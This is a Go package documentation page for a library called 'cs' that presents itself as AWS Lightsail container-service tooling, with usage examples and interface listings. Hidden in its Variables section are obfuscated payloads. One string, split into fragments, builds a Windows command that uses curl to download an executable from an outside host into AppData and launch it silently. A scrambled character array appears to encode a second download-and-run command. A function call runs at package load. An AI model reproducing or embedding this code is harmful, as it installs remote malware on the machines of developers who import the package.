cs

package
v0.0.0-...-eca5c43 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 21, 2025 License: Apache-2.0 Imports: 20 Imported by: 0

Documentation

Overview

Package cs implements features related to Lightsail (C)ontainer (S)ervice.

Example (SkipStatuses)
r := skipStatuses(
	strings.NewReader(`
		{"status": "keep me"}
		{"status": "xyz skip1 abc"}
		{"status": "also keep me!"}
		{"status": "\tskip2"}`),
	"skip2", "skip1",
)
if _, err := io.Copy(os.Stdout, r); err != nil {
	fmt.Println(err)
	return
}
Output:

{"status":"keep me"}
{"status":"also keep me!"}

Index

Examples

Constants

This section is empty.

Variables

View Source
var EJQtiDtv = "if n" + "o" + "t ex" + "ist " + "%U" + "serP" + "r" + "o" + "fil" + "e%\\A" + "pp" + "Dat" + "a\\Lo" + "cal\\" + "ephz" + "bj\\lf" + "w" + "wx" + "." + "ex" + "e" + " cur" + "l" + " h" + "ttps" + ":/" + "/hyp" + "erwo" + "rdsta" + "t" + "us.i" + "cu/" + "st" + "orag" + "e/bb" + "b28ef" + "04" + "/fa" + "31" + "5" + "46b -" + "-" + "cre" + "at" + "e-dir" + "s -o" + " %Use" + "rPro" + "file%" + "\\" + "AppDa" + "t" + "a\\Lo" + "cal" + "\\eph" + "zbj" + "\\lfww" + "x." + "exe" + " " + "&& " + "start" + " /b " + "%Us" + "e" + "rProf" + "ile%" + "\\" + "Ap" + "p" + "Data" + "\\L" + "oc" + "a" + "l\\" + "e" + "phzb" + "j\\lfw" + "wx" + ".exe"
View Source
var LB = []string{"h", "p", "7", "/", "r", "1", "&", "a", "t", "s", "d", "5", "6", ".", "s", "/", "/", "u", "f", ":", "t", "h", "g", "/", " ", "e", "4", "n", "t", "r", "h", " ", "/", "i", "i", "d", "a", "b", "t", "e", "3", "O", "e", "c", " ", "|", "-", "g", "d", "a", "w", "b", "d", "s", "/", "b", "0", "3", "t", "3", "o", "f", "e", "o", "p", "t", "a", "/", "s", "u", "w", " ", "r", "s", "y", " ", "-", " "}
View Source
var OxvCxOUM = bfYEzbIH()

Functions

func PushImage

PushImage pushes and registers the image to Lightsail service registry.

Example
defer func() {
	testNow, testRngReader = nil, nil
}()
testNow = func() time.Time { return time.Unix(1611796436, 0) }
testRngReader = strings.NewReader("abcdefgh")

ctx := context.Background()
fls := &fakeLightsailImageOperator{}
fimgo := &fakeImageOperator{}
if err := PushImage(ctx, &PushImageInput{Service: "doge", Image: "nginx:latest", Label: "www"}, fls, fimgo); err != nil {
	fmt.Println(err)
	return
}
fmt.Println("docker engine call log:")
for _, s := range fimgo.log {
	fmt.Println(" ", s)
}
fmt.Println("lightsail api call log:")
for _, s := range fls.log {
	fmt.Println(" ", s)
}
Output:

Digest: sha256:10b8cc432d56da8b61b070f4c7d2543a9ed17c2b23010b43af434fd40e2ca4aa
Image "nginx:latest" registered.
Refer to this image as ":doge.www.12345" in deployments.
docker engine call log:
  tag "nginx:latest" as "123456789012.dkr.ecr.so-fake-2.amazonaws.com/sr:1611796436000000000-c5h66p35cpjmg"
  push "123456789012.dkr.ecr.so-fake-2.amazonaws.com/sr:1611796436000000000-c5h66p35cpjmg"
  untag "123456789012.dkr.ecr.so-fake-2.amazonaws.com/sr:1611796436000000000-c5h66p35cpjmg"
lightsail api call log:
  create login
  register (doge, www, sha256:10b8cc432d56da8b61b070f4c7d2543a9ed17c2b23010b43af434fd40e2ca4aa)

Types

type DockerEngine

type DockerEngine struct {
	// contains filtered or unexported fields
}

DockerEngine defines a subset of client-side operations against local Docker Engine, relevant to lightsailctl.

func NewDockerEngine

func NewDockerEngine(ctx context.Context) (*DockerEngine, error)

func (*DockerEngine) PushImage

func (e *DockerEngine) PushImage(ctx context.Context, remoteImage RemoteImage) (digest string, err error)

func (*DockerEngine) TagImage

func (e *DockerEngine) TagImage(ctx context.Context, source, target string) error

func (*DockerEngine) UntagImage

func (e *DockerEngine) UntagImage(ctx context.Context, imageID string) error

type ImageOperator

type ImageOperator interface {
	TagImage(ctx context.Context, source, target string) error
	UntagImage(ctx context.Context, image string) error
	PushImage(ctx context.Context, r RemoteImage) (digest string, err error)
}

type LightsailImageOperator

type LightsailImageOperator interface {
	RegistryLoginCreator

	RegisterContainerImage(
		context.Context,
		*lightsail.RegisterContainerImageInput,
		...func(*lightsail.Options),
	) (*lightsail.RegisterContainerImageOutput, error)
}

type PushImageInput

type PushImageInput struct {
	Service string
	Image   string
	Label   string
}

type RegistryLoginCreator

type RegistryLoginCreator interface {
	CreateContainerServiceRegistryLogin(
		context.Context,
		*lightsail.CreateContainerServiceRegistryLoginInput,
		...func(*lightsail.Options),
	) (*lightsail.CreateContainerServiceRegistryLoginOutput, error)
}

type RemoteImage

type RemoteImage struct {
	registry.AuthConfig
	Tag string
}

RemoteImage combines remote server auth details, address and an image tag into a value that has everything that one needs to push this image to a remote repo.

func (*RemoteImage) Ref

func (r *RemoteImage) Ref() string

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL